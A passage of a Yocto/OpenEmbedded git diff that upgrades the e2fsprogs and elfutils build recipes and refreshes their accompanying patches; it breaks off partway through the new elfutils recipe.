-Date: Wed, 13 Sep 2017 19:55:35 -0700
-Subject: [PATCH] misc/create_inode.c: set dir's mode correctly
-
-The dir's mode has been set by ext2fs_mkdir() with umask, so
-reset it to the source's mode in set_inode_extra().
-
-Fixed when source dir's mode is 521, but tarball would be 721, this was
-incorrect.
-
-Upstream-Status: Submitted
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- misc/create_inode.c | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/misc/create_inode.c b/misc/create_inode.c
-index 8ce3faf..50fbaa8 100644
---- a/misc/create_inode.c
-+++ b/misc/create_inode.c
-@@ -116,7 +116,14 @@ static errcode_t set_inode_extra(ext2_filsys fs, ext2_ino_t ino,
-
- inode.i_uid = st->st_uid;
- inode.i_gid = st->st_gid;
-- inode.i_mode |= st->st_mode;
-+ /*
-+ * The dir's mode has been set by ext2fs_mkdir() with umask, so
-+ * reset it to the source's mode
-+ */
-+ if S_ISDIR(st->st_mode)
-+ inode.i_mode = LINUX_S_IFDIR | st->st_mode;
-+ else
-+ inode.i_mode |= st->st_mode;
- inode.i_atime = st->st_atime;
- inode.i_mtime = st->st_mtime;
- inode.i_ctime = st->st_ctime;
---
-2.10.2
-
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
index 69c09bc1d7..29078f9dd3 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
@@ -1,4 +1,4 @@
-From c7914309aeee6209ddb6995c084805a911d9cc82 Mon Sep 17 00:00:00 2001
+From 22d7557905534d9e1b39f7d2a6d2036a40bf0c4e Mon Sep 17 00:00:00 2001
From: Jackie Huang <jackie.huang@windriver.com>
Date: Wed, 10 Aug 2016 11:19:44 +0800
Subject: [PATCH] Fix missing check for permission denied.
@@ -19,7 +19,7 @@ Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/support/profile.c b/lib/support/profile.c
-index 9e96673b..32d83002 100644
+index f54739e7..53ea68f1 100644
--- a/lib/support/profile.c
+++ b/lib/support/profile.c
@@ -335,7 +335,7 @@ profile_init(const char * const *files, profile_t *ret_profile)
@@ -31,6 +31,3 @@ index 9e96673b..32d83002 100644
strcmp(*fs, default_filename))
goto errout;
---
-2.16.1
-
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
index b0fa4b8cc5..f6916a1112 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
@@ -1,18 +1,27 @@
-e2fsprogs: expand @mkdir_p@
+From e3a30baa5c1e2f0ac7e246539db1c7db5a2fe302 Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Tue, 7 Mar 2017 14:53:19 -0800
+Subject: [PATCH] e2fsprogs: expand @mkdir_p@
Add AC_SUBST to configure.ac. @mkdir_p@ is currently
-not expanded so no locale data is written into usr/share/locale.
+not expanded so no locale data is written into usr/share/locale.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ configure.ac | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 4c4b5523..3475c707 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -811,6 +811,8 @@ AC_SUBST(PACKAGE)
+@@ -919,6 +919,8 @@ AC_SUBST(PACKAGE)
AC_SUBST(VERSION)
- AM_GNU_GETTEXT
+ AM_GNU_GETTEXT([external])
+dnl @MKDIR_P@ is expanded in AM_GNU_GETTEXT
+AC_SUBST([mkdir_p],['$(MKDIR_P)'])
dnl
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
index 830e9d57a5..902a369eb0 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
@@ -1,14 +1,23 @@
+From 5408b6463ee700a080a15102bccccdeb2615d734 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Mon, 23 Dec 2013 13:38:34 +0000
+Subject: [PATCH] e2fsprogs: silence debugfs
+
When executing a script don't echo every command, as we do this for entire
filesystems at rootfs time.
Upstream-Status: Inappropriate
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ debugfs/debugfs.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/debugfs/debugfs.c b/debugfs/debugfs.c
-index 5590295..ac57292 100644
+index b67a88bc..76dd5556 100644
--- a/debugfs/debugfs.c
+++ b/debugfs/debugfs.c
-@@ -2378,7 +2378,7 @@ static int source_file(const char *cmd_file, int ss_idx)
+@@ -2518,7 +2518,7 @@ static int source_file(const char *cmd_file, int ss_idx)
cp = strchr(buf, '\r');
if (cp)
*cp = 0;
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.4.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.4.bb
deleted file mode 100644
index 90db71df00..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.4.bb
+++ /dev/null
@@ -1,138 +0,0 @@
-require e2fsprogs.inc
-
-SRC_URI += "file://remove.ldconfig.call.patch \
- file://run-ptest \
- file://ptest.patch \
- file://mkdir_p.patch \
- file://0001-misc-create_inode.c-set-dir-s-mode-correctly.patch \
- "
-
-SRC_URI_append_class-native = " file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
- file://quiet-debugfs.patch \
-"
-
-SRCREV = "984ff8d6a0a1d5dc300505f67b38ed5047d51dac"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
-
-EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
- --enable-elf-shlibs --disable-libuuid --disable-uuidd \
- --disable-libblkid --enable-verbose-makecmds \
- --with-crond-dir=no"
-
-EXTRA_OECONF_darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
-
-# make locale rules sometimes fire, sometimes don't as git doesn't preserve
-# file mktime. Touch the files introducing non-determinism to the build
-do_compile_prepend (){
- find ${S}/po -type f -name "*.po" -exec touch {} +
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- oe_runmake 'DESTDIR=${D}' install-libs
- # We use blkid from util-linux now so remove from here
- rm -f ${D}${base_libdir}/libblkid*
- rm -rf ${D}${includedir}/blkid
- rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
- rm -f ${D}${base_sbindir}/blkid
- rm -f ${D}${base_sbindir}/fsck
- rm -f ${D}${base_sbindir}/findfs
-
- # e2initrd_helper and the pkgconfig files belong in libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- install -d ${D}${libdir}
- mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-
- oe_multilib_header ext2fs/ext2_types.h
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
-
- install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
-
- # Clean host path (build directory) in compile_et, mk_cmds
- sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
- sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
-}
-
-# Need to find the right mke2fs.conf file
-e2fsprogs_conf_fixup () {
- for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
- create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
- done
-}
-
-do_install_append_class-native() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-nativesdk() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-target() {
- mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
- mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
- mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
-}
-
-RDEPENDS_e2fsprogs = "e2fsprogs-badblocks"
-RRECOMMENDS_e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
-
-PACKAGES =+ "e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-tune2fs e2fsprogs-badblocks e2fsprogs-resize2fs"
-PACKAGES =+ "libcomerr libss libe2p libext2fs"
-
-FILES_e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
-FILES_e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
-FILES_e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
-FILES_e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
-FILES_e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
-FILES_e2fsprogs-badblocks = "${base_sbindir}/badblocks"
-FILES_libcomerr = "${base_libdir}/libcom_err.so.*"
-FILES_libss = "${base_libdir}/libss.so.*"
-FILES_libe2p = "${base_libdir}/libe2p.so.*"
-FILES_libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
-FILES_${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
-
-ALTERNATIVE_${PN} = "chattr"
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
-ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
-
-ALTERNATIVE_${PN}-doc = "fsck.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-
-ALTERNATIVE_${PN}-mke2fs = "mke2fs mkfs.ext2"
-ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
-ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
-
-ALTERNATIVE_${PN}-tune2fs = "tune2fs"
-ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
-
-RDEPENDS_e2fsprogs-e2scrub = "bash"
-RDEPENDS_${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
-RDEPENDS_${PN}-ptest += "e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-tune2fs e2fsprogs-badblocks e2fsprogs-resize2fs"
-
-do_compile_ptest() {
- oe_runmake -C ${B}/tests
-}
-
-do_install_ptest() {
- cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
- sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
- -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
- sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
-
- # Remove various files
- find "${D}${PTEST_PATH}" -type f \
- \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
- -exec rm -f {} +
-
- install -d ${D}${PTEST_PATH}/lib
- install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
-}
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.5.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.5.bb
new file mode 100644
index 0000000000..16c183eed3
--- /dev/null
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.46.5.bb
@@ -0,0 +1,140 @@
+require e2fsprogs.inc
+
+SRC_URI += "file://remove.ldconfig.call.patch \
+ file://run-ptest \
+ file://ptest.patch \
+ file://mkdir_p.patch \
+ "
+SRC_URI:append:class-native = " \
+ file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
+ file://quiet-debugfs.patch \
+ "
+
+SRCREV = "02540dedd3ddc52c6ae8aaa8a95ce75c3f8be1c0"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
+
+EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
+ --enable-elf-shlibs --disable-libuuid --disable-uuidd \
+ --disable-libblkid --enable-verbose-makecmds \
+ --with-crond-dir=no"
+
+EXTRA_OECONF:darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
+
+# make locale rules sometimes fire, sometimes don't as git doesn't preserve
+# file mktime. Touch the files introducing non-determinism to the build
+do_compile:prepend (){
+ find ${S}/po -type f -name "*.po" -exec touch {} +
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ oe_runmake 'DESTDIR=${D}' install-libs
+ # We use blkid from util-linux now so remove from here
+ rm -f ${D}${base_libdir}/libblkid*
+ rm -rf ${D}${includedir}/blkid
+ rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
+ rm -f ${D}${base_sbindir}/blkid
+ rm -f ${D}${base_sbindir}/fsck
+ rm -f ${D}${base_sbindir}/findfs
+
+ # e2initrd_helper and the pkgconfig files belong in libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ install -d ${D}${libdir}
+ mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+
+ oe_multilib_header ext2fs/ext2_types.h
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
+
+ install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
+
+ # Clean host path (build directory) in compile_et, mk_cmds
+ sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
+ sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
+}
+
+# Need to find the right mke2fs.conf file
+e2fsprogs_conf_fixup () {
+ for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
+ create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
+ done
+}
+
+do_install:append:class-native() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-nativesdk() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-target() {
+ mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
+ mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
+ mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
+}
+
+RDEPENDS:e2fsprogs = "e2fsprogs-badblocks e2fsprogs-dumpe2fs"
+RRECOMMENDS:e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
+
+PACKAGES =+ "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+PACKAGES =+ "libcomerr libss libe2p libext2fs"
+
+FILES:e2fsprogs-dumpe2fs = "${base_sbindir}/dumpe2fs"
+FILES:e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
+FILES:e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
+FILES:e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
+FILES:e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
+FILES:e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
+FILES:e2fsprogs-badblocks = "${base_sbindir}/badblocks"
+FILES:libcomerr = "${base_libdir}/libcom_err.so.*"
+FILES:libss = "${base_libdir}/libss.so.*"
+FILES:libe2p = "${base_libdir}/libe2p.so.*"
+FILES:libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
+FILES:${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
+
+ALTERNATIVE:${PN} = "chattr"
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
+ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
+
+ALTERNATIVE:${PN}-doc = "fsck.8"
+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+
+ALTERNATIVE:${PN}-mke2fs = "mke2fs mkfs.ext2"
+ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
+ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
+
+ALTERNATIVE:${PN}-tune2fs = "tune2fs"
+ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
+
+RDEPENDS:e2fsprogs-e2scrub = "bash"
+RDEPENDS:${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
+RDEPENDS:${PN}-ptest += "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests
+}
+
+do_install_ptest() {
+ # This file's permissions depends on the host umask so be deterministic
+ chmod 0644 ${B}/tests/test_data.tmp
+ cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
+ cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
+ sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
+ -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
+ sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
+
+ # Remove various files
+ find "${D}${PTEST_PATH}" -type f \
+ \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
+ -exec rm -f {} +
+
+ install -d ${D}${PTEST_PATH}/lib
+ install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
+}
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.177.bb b/meta/recipes-devtools/elfutils/elfutils_0.177.bb
deleted file mode 100644
index e7740c7fb4..0000000000
--- a/meta/recipes-devtools/elfutils/elfutils_0.177.bb
+++ /dev/null
@@ -1,155 +0,0 @@
-SUMMARY = "Utilities and libraries for handling compiled object files"
-HOMEPAGE = "https://sourceware.org/elfutils"
-SECTION = "base"
-LICENSE = "GPLv2 & LGPLv3+ & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-DEPENDS = "zlib virtual/libintl"
-DEPENDS_append_libc-musl = " argp-standalone fts musl-obstack "
-# The Debian patches below are from:
-# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
-SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
- file://0001-dso-link-change.patch \
- file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
- file://0003-fixheadercheck.patch \
- file://0004-Disable-the-test-to-convert-euc-jp.patch \
- file://0006-Fix-build-on-aarch64-musl.patch \
- file://0007-Fix-control-path-where-we-have-str-as-uninitialized-.patch \
- file://0001-libasm-may-link-with-libbz2-if-found.patch \
- file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
- file://debian/hppa_backend.diff \
- file://debian/arm_backend.diff \
- file://debian/mips_backend.diff \
- file://debian/mips_readelf_w.patch \
- file://debian/kfreebsd_path.patch \
- file://debian/0001-Ignore-differences-between-mips-machine-identifiers.patch \
- file://debian/0002-Add-support-for-mips64-abis-in-mips_retval.c.patch \
- file://debian/0003-Add-mips-n64-relocation-format-hack.patch \
- file://debian/hurd_path.patch \
- file://debian/ignore_strmerge.diff \
- file://debian/disable_werror.patch \
- file://debian/testsuite-ignore-elflint.diff \
- file://debian/mips_cfi.patch \
- file://debian/0001-fix-compile-failure-with-debian-patches.patch \
- file://0001-skip-the-test-when-gcc-not-deployed.patch \
- file://0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch \
- file://run-ptest \
- file://ptest.patch \
- "
-SRC_URI_append_libc-musl = " \
- file://musl-obstack-fts.patch \
- file://musl-libs.patch \
- file://musl-utils.patch \
- file://musl-tests.patch \
- "
-SRC_URI[md5sum] = "0b583722f911e1632544718d502aab87"
-SRC_URI[sha256sum] = "fa489deccbcae7d8c920f60d85906124c1989c591196d90e0fd668e3dc05042e"
-
-inherit autotools gettext ptest
-
-EXTRA_OECONF = "--program-prefix=eu-"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
-
-RDEPENDS_${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils"
-
-EXTRA_OECONF_append_class-target += "--disable-tests-rpath"
-
-do_install_append() {
- if [ "${TARGET_ARCH}" != "x86_64" ] && [ -z `echo "${TARGET_ARCH}"|grep 'i.86'` ];then
- rm -f ${D}${bindir}/eu-objdump
- fi
-}
-
-do_compile_ptest() {
- cd ${B}/tests
- oe_runmake buildtest-TESTS oecheck
-}
-
-do_install_ptest() {
- if [ ${PTEST_ENABLED} = "1" ]; then
- # copy the files which needed by the cases
- TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint"
- install -d -m 755 ${D}${PTEST_PATH}/src
- install -d -m 755 ${D}${PTEST_PATH}/libelf
- install -d -m 755 ${D}${PTEST_PATH}/libdw
- for test_file in ${TEST_FILES}; do
- if [ -f ${B}/src/${test_file} ]; then
- cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
- fi
- done
- cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
- cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
- cp -r ${S}/tests/ ${D}${PTEST_PATH}
- cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
- cp -r ${B}/config.h ${D}${PTEST_PATH}
- cp -r ${B}/backends ${D}${PTEST_PATH}
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
- fi
-}
-
-EXTRA_OEMAKE_class-native = ""
-EXTRA_OEMAKE_class-nativesdk = ""
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Package utilities separately
-PACKAGES =+ "${PN}-binutils libelf libasm libdw"
-
-# shared libraries are licensed GPLv2 or GPLv3+, binaries GPLv3+
-# according to NEWS file:
-# "The license is now GPLv2/LGPLv3+ for the libraries and GPLv3+ for stand-alone
-# programs. There is now also a formal CONTRIBUTING document describing how to
-# submit patches."
-LICENSE_${PN}-binutils = "GPLv3+"
-LICENSE_${PN} = "GPLv3+"
-LICENSE_libelf = "GPLv2 | LGPLv3+"
-LICENSE_libasm = "GPLv2 | LGPLv3+"
-LICENSE_libdw = "GPLv2 | LGPLv3+"
-
-FILES_${PN}-binutils = "\
- ${bindir}/eu-addr2line \
- ${bindir}/eu-ld \
- ${bindir}/eu-nm \
- ${bindir}/eu-readelf \
- ${bindir}/eu-size \
- ${bindir}/eu-strip"
-
-FILES_libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
-FILES_libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
-FILES_libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
-# Some packages have the version preceeding the .so instead properly
-# versioned .so.<version>, so we need to reorder and repackage.
-#FILES_${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
-#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
-
-# The package contains symlinks that trip up insane
-INSANE_SKIP_${MLPREFIX}libdw = "dev-so"
-
-# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
-# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
-INHIBIT_PACKAGE_STRIP_FILES = "\
- ${PKGD}${PTEST_PATH}/tests/test-nlist \
- ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
- ${PKGD}${PTEST_PATH}/tests/backtrace-child \
- ${PKGD}${PTEST_PATH}/tests/backtrace-data \
- ${PKGD}${PTEST_PATH}/tests/deleted \
- ${PKGD}${PTEST_PATH}/src/strip \
- ${PKGD}${PTEST_PATH}/src/addr2line \
- ${PKGD}${PTEST_PATH}/src/elfcmp \
- ${PKGD}${PTEST_PATH}/src/objdump \
- ${PKGD}${PTEST_PATH}/src/readelf \
- ${PKGD}${PTEST_PATH}/src/nm \
- ${PKGD}${PTEST_PATH}/src/elflint \
- ${PKGD}${PTEST_PATH}/libelf/libelf.so \
- ${PKGD}${PTEST_PATH}/libdw/libdw.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
- ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
-"
-
-PRIVATE_LIBS_${PN}-ptest = "libdw.so.1 libelf.so.1"
diff --git a/meta/recipes-devtools/elfutils/elfutils_0.186.bb b/meta/recipes-devtools/elfutils/elfutils_0.186.bb
new file mode 100644
index 0000000000..46ee40cce6
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/elfutils_0.186.bb
@@ -0,0 +1,166 @@
+SUMMARY = "Utilities and libraries for handling compiled object files"
+HOMEPAGE = "https://sourceware.org/elfutils"
+DESCRIPTION = "elfutils is a collection of utilities and libraries to read, create and modify ELF binary files, find and handle DWARF debug data, symbols, thread state and stacktraces for processes and core files on GNU/Linux."
+SECTION = "base"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-3.0-or-later & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://debuginfod/debuginfod-client.c;endline=27;md5=d2adfd8f5347d4c96e3c280393ce66da \
+ "
+DEPENDS = "zlib virtual/libintl"
+DEPENDS:append:libc-musl = " argp-standalone fts musl-obstack "
+# The Debian patches below are from:
+# http://ftp.de.debian.org/debian/pool/main/e/elfutils/elfutils_0.176-1.debian.tar.xz
+SRC_URI = "https://sourceware.org/elfutils/ftp/${PV}/${BP}.tar.bz2 \
+ file://0001-dso-link-change.patch \
+ file://0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch \
+ file://0003-fixheadercheck.patch \
+ file://0006-Fix-build-on-aarch64-musl.patch \
+ file://0001-libasm-may-link-with-libbz2-if-found.patch \
+ file://0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch \
+ file://0001-skip-the-test-when-gcc-not-deployed.patch \
+ file://run-ptest \
+ file://ptest.patch \
+ file://0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch \
+ file://0001-debuginfod-fix-compilation-on-platforms-without-erro.patch \
+ file://0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch \
+ "
+SRC_URI:append:libc-musl = " \
+ file://0003-musl-utils.patch \
+ file://0015-config-eu.am-do-not-use-Werror.patch \
+ "
+SRC_URI[sha256sum] = "7f6fb9149b1673d38d9178a0d3e0fb8a1ec4f53a9f4c2ff89469609879641177"
+
+inherit autotools gettext ptest pkgconfig
+PTEST_ENABLED:libc-musl = "0"
+
+EXTRA_OECONF = "--program-prefix=eu-"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'debuginfod', 'debuginfod libdebuginfod', '', d)}"
+PACKAGECONFIG[bzip2] = "--with-bzlib,--without-bzlib,${DEPENDS_BZIP2}"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
